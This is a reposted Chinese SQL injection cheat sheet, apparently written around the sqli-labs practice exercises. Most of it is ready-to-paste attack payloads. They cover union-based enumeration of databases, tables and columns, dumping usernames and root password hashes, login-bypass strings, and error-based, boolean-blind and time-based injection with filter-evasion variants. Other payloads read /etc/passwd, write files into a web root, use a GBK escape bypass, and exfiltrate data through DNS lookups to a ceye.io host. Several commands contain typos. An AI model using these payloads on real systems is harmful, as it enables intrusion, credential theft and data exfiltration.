ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

SQL注入常用命令

2022-04-01 01:00:06  阅读:338  来源: 互联网

标签:union 数据库 常用命令 user SQL schema concat select 注入


1. 数据库查询版本

  • Mssql select @@version
  • Mysql select vresion()/select @@version
  • oracle select banner from ¥version
  • Postgresql select version()

2. 数据库常用命令

  • 库操作

    • 连接数据库 mysql -u 用户名 -p
    • 创建数据库:create database 数据库名称、
    • 删除数据库 drop database 数据库名称、
    • 列出数据库 show databases
    • 使用数据据库 use 数据库名称、
    • 查看当前数据库 select database()
  • 表操作

    • 新建表create table 表名(键 varchar(10),键int(10))
    • 列出表 show tables
    • 删除表 delete 表名
  • 数据操作

    • 增加数据insert into 表名(键,键)values(值,值)

    • 删除数据 delete from 表名 where 键=值(删除某一行数据)

    • 修改数据 updata 表名 set 键 = 值 where 键=值

    • 查询数据 select * fom 表名

      5.0以上高版本MySQL的默认存在系统数据库:information_ schema、perfermance_ schema、sys、mysql

      存放数据库所有信息的数据库 information_ schema(存放schemata、 table、columns等等)

      存放数据库名的表 schemata

      存放表的表 tables

      存放字段的表 columns

3. SQL手工注入步骤

3.1 注入点寻找

  • 判断请求方式

      ----浏览器F12 点网络----
      
      单引号闭合’ ‘
    
      双引号闭合“ ”
    
      单引号括号闭合(’ ‘)
    
      双引号括号闭合(“ ”)
    
      or 1=1
    
      or 1=2
    
      and 1=1
    
      and 1=2
    
  • 判断提交方式
    get post cookies http

3.2 数字型注入

  • 加单引号 错误出异常
    1 and 1=1 正常
    1 and 1=2 异常

3.3 字符型注入

  • 加单引号 错误出异常
    xxx' and ‘1’ = '1 正常
    xxx' and ‘1’ = '2 异常

3.4 判断字段长度

  • 可以判断字段的个数:order by 数字
    order by id

3.5 判断字段回显位置

  • 在链接后面添加语句【 union select 1,2,3,4,5,6,7,8,9,10,11#】进行联合查询(联合查询时记得把前面的查询为空)来暴露可查询的字段号。

  • 猜字段回显位置: union select 1,2,3

3.6 判断数据库注入

  • 利用内置函数暴数据库信息:version()版本;database()数据库;user()用户;
  • 不用猜解可用字段暴数据库信息(有些网站不适用):
    and 1=2 union select 1,version(),3
    and 1=2 union select 1,database(),3
    and 1=2 union select 1,user(),3
  • 操作系统信息:and 1=2 union select 1,@@global.version_compile_os,3 from mysql.user
  • 数据库权限:and ord(mid(user(),1,1))=114 返回正常说明为root。 //ord()函数返回字符串第一个字符的ASCII 值。

3.7 查找数据库名

  • GET:IP/Less-1/?id=100’ union select 1,(select database()),3–+

  • POST:union select 1,(select group_concat(schema_name) from information_schema.schemata),3–+

  • 查看数据库长度length():and length(database())>10–+

  • 查看数据库名字mid()或者left()

    • mid (string,start,length)返回指定的字符串从指定位置开始(可以用来猜数据库名 ):and mid(database(),1,1)>‘a’ //mid("abcde",1,2)返回b,mid(源串,起始位置1开始,要返回的字符个数),mid()返回字符串的子串

    • left (string,lenth) 返回最左边指定的字符数:and left(database(),1)>‘a’ (猜名字)

  • 将查到的库名放到同一个字符串:select 1,GROUP_CONCAT(schema_name),3 from information_schema.schemata

  • 查到数单个据库名发送到ceye:union select 1,(select load_file(concat(’\’,substr((select schema_name from information_schema.schemata limit 1),1,41),’.mysql.ip.port.38ljf2.ceye.io\abc’)))–+ //substr(源串,起始位置1开始,要返回的字符个数)用于字段的截取, LIMIT n 等价于 LIMIT 0,n。concat()函数用于将多个字符串连接成一个字符串。

3.8 查找数据表

union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) ,3

将单个表名发送到ceye

uname=1’) union select 3,(select load_file(concat(’\’,substr((select table_name from information_schema.tables where table_schema =‘security’ limit 1),1,41),’.mysql.ip.port.38ljf2.ceye.io\abc’)))–+

3.9 查找数据表中所有字段(列)

127.0.0.1/Less-3/?id=100’) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’) --+

获取内容

union select 1,(select group_concat(username) from security.users limit 0,1),3
查询某一个表的字段名发送到ceye

union select 1,(select load_file(concat(’\’,substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=‘security’ limit 1),1,41),’.mysql.ip.port.38ljf2.ceye.io\abc’)))–+

3.10 猜解账号密码

outfile文件注入

union select 1,’’ into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-8\3.php’–+

into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-13\1.txt’

查root密码ceye代码

127.0.0.1/Less-1/?id=1’ union SELECT 1,(LOAD_FILE(CONCAT(’\’,mid((SELECT password FROM mysql.user WHERE user=‘root’ LIMIT 1),2,41),’.mysql.ip.port.38ljf2.ceye.io\abc’))),3–+

bug

uname=1’) or 1=1 into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-13\1.txt’;–+

这个文件里会有所有的用户名和密码

查询数据

union select 1,(select 1 from (select count(),concat((select(select(select distinct concat(username,password) from users limit 0,1))from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) --+

3.11 绕过登陆验证

admin’ –
admin’ #
admin’/*
’ or 1=1–
’ or 1=1#
’ or 1=1/*
') or ‘1’='1–
') or (‘1’='1–

3.12 SQL注入常见函数

group_concat函数 可以把查询的内容组合成一个字符串

load_file(file name ) 读取文件并将文件按字符串返回

left(string,length)返回最左边指定的字符数:
left(database(),1)>‘s’ (猜名字)

length()判断长度
length(database()>5

substr(a,b,c)从字符串a中截取 b到c长度

ascii()将某个字符转为ascii值

ascii(substr(user(),1,1))=101#

mid((a,b,c)从字符串a中截取 b到c位置(可以用来猜数据库名 )

# 4.0 SQL注入手册

4.1 SQL注入常用命令

查看当前用户:union select 1,(select user())–+

查看数据库版本:union select 1,(select version())–+

查看当前数据库名:union select 1,(select database())–+

查看操作系统union select 1,(select @@version_compile_os)–+

所有用户:

union select 1,(select group_concat(user) from mysql.user)–

用户hash

union select 1,(select group_concat(password) from mysql.user where user=‘root’)
查看所有数据库名

union select 1,(SELECT group_concat(schema_name) from information_schema.schemata)–+
查看某一个库的全部表

union select 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema=‘库名’)–+
union select 1,(SELECT group_concat(table_name) from information_schema.table_constraints where table_schema=‘库名’
查看某个表的字段名

union select 1,(SELECT group_concat(column_name) from information_schema.columns where table_name=‘表名’)–+
查看某个库中某个表的字段名

union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘表名’ and table_schema=‘库名’)–+
读文件

union select 1,(SELECT load_file(’/etc/passwd’))–+
写文件

union select 1,’’ into outfile ‘C:\phpStudy\PHPTutorial\WWW\Less-8\3.php’–+

4.2 UNION注入

猜字段长度:order by 数字 uname=1’ order by 2

暴字段位置:union select 1,2 uname=1’ union select 1,2

在指定表中查询制指定用户的密码:union SELECT 1,password from 表 where username=‘用户名’–+

4.3 报错注入

floor (SELECT user()可修改)

OR (SELECT 8627 FROM(SELECT COUNT(),CONCAT(0x70307e,(SELECT user()),0x7e7030,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)–+
ExtractValue(有长度限制,最长32位) (select @@version可修改)

and extractvalue(1, concat(0x7e, (select @@version),0x7e))–+

UpdateXml(有长度限制,最长32位) (SELECT @@version可修改)

and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)–+

NAME_CONST(适用于低版本,不太好用)

and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)–+

Error based Double Query Injection

or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1–+

exp(5.5.5以上) (select user()可修改)

and (select exp(~(select * from(select user())x)))–+

floor(Mysql): and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a);

Extractvalue(Mysql): and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

Updatexml(Mysql): and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

EXP: and exp(~(select * from(select user())a));

UTL INADDR. get host address(Oracle): and 1=utl inaddrget host address(select bannerO from sys.v_$version where rownum=1))

multipoint(Mysql):and multipoint((select * from(select * from(select user())a)b));

polygon(Mysql):and polygon((select * from(select * from(select user())a)b));

multipolygon(Mysql):and multipolygon((select * from(select * from(select user())a)b));

linestring(Mysql):and linestring((select * from(select * from(select user())a)b));

multilinestring(Mysql):and multilinestring((select * from(select * from(select user())a)b));

4.4 bool盲注

盲注的时候一定注意,MySQL4之后大小写不敏感,可使用binary()函数使大小写敏感。

//正常情况
'or bool#
true'and bool#

//不使用空格、注释
'or(bool)='1
true'and(bool)='1

//不使用or、and、注释
'^!(bool)='1
'=(bool)='
'||(bool)='1
true'%26%26(bool)='1
'=if((bool),1,0)='0

//不使用等号、空格、注释
'or(bool)<>'0
'or((bool)in(1))or'0

//其他
or (case when (bool) then 1 else 0 end)
有时候where字句有括号又猜不到SQL语句的时候,可以有下列类似的fuzz
1' or (bool) or '1'='1
1%' and (bool) or 1=1 and '1'='1
1' or (bool) or '1'='1
1%' and (bool) or 1=1 and '1'='1
逻辑判断基本就那些函数:
left(user(),1)>'r'
right(user(),1)>'r'
substr(user(),1,1)='r'
mid(user(),1,1)='r'

//不使用逗号
user() regexp '[1]'
user() like 'root%'
POSITION('root' in user())
mid(user() from 1 for 1)='r'
mid(user() from 1)='r'
mysql> select * from admin where username='' or 1 union select 1,2,'5' order by 3;
+----+--------------+------------------------
| id | username | password
+----+--------------+------------------------
| 1 | 2 | 5
| 1 | admin | 51b7a76d51e70b419f60d34
+----+----------- --+------------------------
2 rows in set (0.00 sec)

mysql> select * from admin where username='' or 1 union select 1,2,'6' order by 3;
+-----+-----------+--------------------------
|id | username | password
+-----+-----------+--------------------------
| 1 | admin |51b7a76d51e70b419f60d3
| 1 | 2 | 6
+-----+-----------+--------------------------
2 rows in set (0.01 sec)
mysql> select * from admin where username='' or 1 union select 1,2,'5' order by 3;
+----+--------------+------------------------
| id | username | password
+----+--------------+------------------------
| 1 | 2 | 5
| 1 | admin | 51b7a76d51e70b419f60d34
+----+----------- --+------------------------
2 rows in set (0.00 sec)

mysql> select * from admin where username='' or 1 union select 1,2,'6' order by 3;
+-----+-----------+--------------------------
|id | username | password
+-----+-----------+--------------------------
| 1 | admin |51b7a76d51e70b419f60d3
| 1 | 2 | 6
+-----+-----------+--------------------------
2 rows in set (0.01 sec)

4.5 延时盲注

相对于bool盲注,就是把返回值0和1改为是否执行延时,能用其他方法就不使用延时。

一般格式if((bool),sleep(3),0)和or (case when (bool) then sleep(3) else 0 end)

两个函数:

BENCHMARK(100000,MD5(1))

sleep(5)

BENCHMARK()用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu资源。推荐使用sleep()

4.6 Mysql注释符

1. -- -
2. /* .... */
3. #
4. `
5. ;%00 

4.7 GBK绕过注入

  • 在分号前加%df%27

    • %27 为’的URL编码。前端输入%df时,首先经过addslashes()转义变成了%df%5c%27,之后,在数据库查询前,因为设置了GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码为一个汉字,然后Mysql数据库就会对查询语句进行GBK编码,即%df%5c被编成了,而单引号就逃逸出来了,从而形成了注入漏洞。

      示例:id=1%df%27 union select 1.2–+


  1. a-z ↩︎

标签:union,数据库,常用命令,user,SQL,schema,concat,select,注入
来源: https://www.cnblogs.com/weiweiweiwei/p/16084920.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有